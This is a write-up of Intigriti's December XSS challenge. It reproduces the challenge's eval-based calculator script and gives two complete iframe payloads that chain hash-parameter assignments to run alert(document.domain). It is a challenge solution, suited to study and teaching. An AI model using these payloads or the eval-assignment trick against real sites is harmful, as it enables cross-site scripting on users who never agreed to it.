Intigriti December XSS challenge — Valbrux
By: Valerio Brussani
Tags: Intigriti, Challenge, Xss, Bug Bounty, December

In December, Intigriti challenged security researchers to solve an XSS Challenge, which solution needed to have the following rules:

This is how the challenge appeared when browsing on the relative webpage:

Clearly, this is a very basic calculator having both number and operators as buttons. As I always do in similar challenges, I inspected the source code to see if something interesting was hidden in JS files. I noticed that the entire calculator was controlled by the script.js file.

The JS file contained three interesting functions: calc, init and getQueryVariable. Following the full code for the three functions:

const operators = ["+", "-", "/", "*", "="]; function calc(num1 = "", num2 = "", operator = ""){ operator = decodeURIComponent(operator); var operation = `${num1}${operator}${num2}`; document.getElementById("operation").value = operation; if(operators.indexOf(operator) == -1){ throw "Invalid operator."; } if(!(/^[0-9a-zA-Z-]+$/.test(num1)) || !(/^[0-9a-zA- Z]+$/.test(num2))){ throw "No special characters." } if(operation.length > 20){ throw "Operation too long."; } return eval(operation); } function init(){ try{ document.getElementById("result").value = calc(getQueryVariable("num1"), getQueryVariable("num2"), getQueryVariable("operator")); } catch(ex){ console.log(ex); } } function getQueryVariable(variable) { window.searchQueryString = window.location.href.substr(window.location.href.indexOf("?") + 1, window.location.href.length); var vars = searchQueryString.split('&'); var value; for (var i = 0; i < vars.length; i++) { var pair = vars[i].split('='); if (decodeURIComponent(pair[0]) == variable) { value = decodeURIComponent(pair[1]); } } return value; }

The init function calls the calc function by parsing some values in window.location.href ( num1, num2 and operator) and passing them to the call. Then, some checks are performed on the values and an error is returned in case they do not meet some conditions:

operator is one of the following values [“+”,”-”,”*”,”=”,”/”]

num1 contains only alphanumeric characters or “-”

num2 contains only alphanumeric characters

the string concatenation of num1, operator and num2 is less than 21 character.

If the above conditions are met, concatenation is evaluated using the dangerous eval function.

Actually, I spent a lot of time understanding properly how to exploit these few lines of code. Most of the pain was due to the fact that I was trying to exploit this directly by using an URL and not by making use of another webpage to trigger the payload. At the end, I came out with two solutions.

Both of the solutions make use of an iframe and some changes to the hash values. The biggest bug in this challenge was allowing the “=” operators among the ones available, which allowed to perform assignments later evaluated in the eval function.

User-Interaction solution (unintended)

The first solution I discovered required some user interaction. In particular, the user needed to click on one of the “number” buttons to execute the payload. Let’s start from the full payload code.

<body></body> <script> function fun() { var iframe = document.createElement("iframe"); iframe.src = "https://challenge-1220.intigriti.io/#?num1=parseInt&operator=%3D&num2=eval"; iframe.height="500"; iframe.width="400"; document.body.appendChild(iframe); setTimeout(function(){ iframe.src = "https://challenge-1220.intigriti.io/#?num1=alert(document.domain)+"; }, 1000); } fun(); </script>

With the above code, I was able to dynamically create an iframe using Javascript. In this case, using the hash was the same as putting the values as parameters, since the getQueryVariable function does not make any distinction between GET parameters and hash values. However, the interesting fact is that hash values can be changed without refreshing the iframe, allowing multiple eval calls. First, the iframe src was set to:

The above assigned the eval function to the parseInt function. This means, that from that moment, the parseInt function actually became the eval function in the current iframe window. After 1 second, the value of the hash parameter was updated and the num1 hash parameter was set to:

num1=alert(document.domain)+

Combining the above assignments with the following function (which is not part of the challenge but inside the javascript file), it was possible to execute the JS payload when clicking on the calculator numbers.

function setNumber(number){ var url = new URL(window.location); var num1 = getQueryVariable('num1') || 0; var num2 = getQueryVariable('num2') || 0; var operator = getQueryVariable('operator'); if(operator == undefined || operator == ""){ url.searchParams.set('num1', parseInt(num1 + number)); } else if(operator != undefined){ url.searchParams.set('num2', parseInt(num2 + number)); } window.history.pushState({}, '', url); init(); }

No user-interaction solution

Afterwards, I tried to find another solution requiring no user-interaction. Actually, it was not so different from the initial one, as it only required to repeat the previous steps multiple times to automatically execute the JS payload.

<body></body> <script> function fun() { var iframe = document.createElement("iframe"); iframe.src = "https://challenge-1220.intigriti.io/#?num1=onhashchange&operator=%3D&num2=init"; iframe.height="500"; iframe.width="400"; document.body.appendChild(iframe); setTimeout(function(){ iframe.src = "https://challenge-1220.intigriti.io/#?num1=calc&operator=%3D&num2=eval"; }, 500); setTimeout(function(){ iframe.src = "https://challenge-1220.intigriti.io/#?num1=alert(document.domain)&operator=+&num2=1"; }, 1000); } fun(); </script>

In this case, the iframe src was set to:

Then to:

And finally to:

Every change occurred in an interval of 500 milliseconds. The first assignment called the init function every time the hash value changed by using the onhashchange function. The second assignment assigned the eval function to the calc function. That means that the arguments passed to the calc function were actually evaluated. The last assignment allowed to call the eval function with the following arguments:

eval("alert(document.domain)","+","1")

This automatically triggered the alert when visiting the vulnerable webpage, and finally the challenge was solved!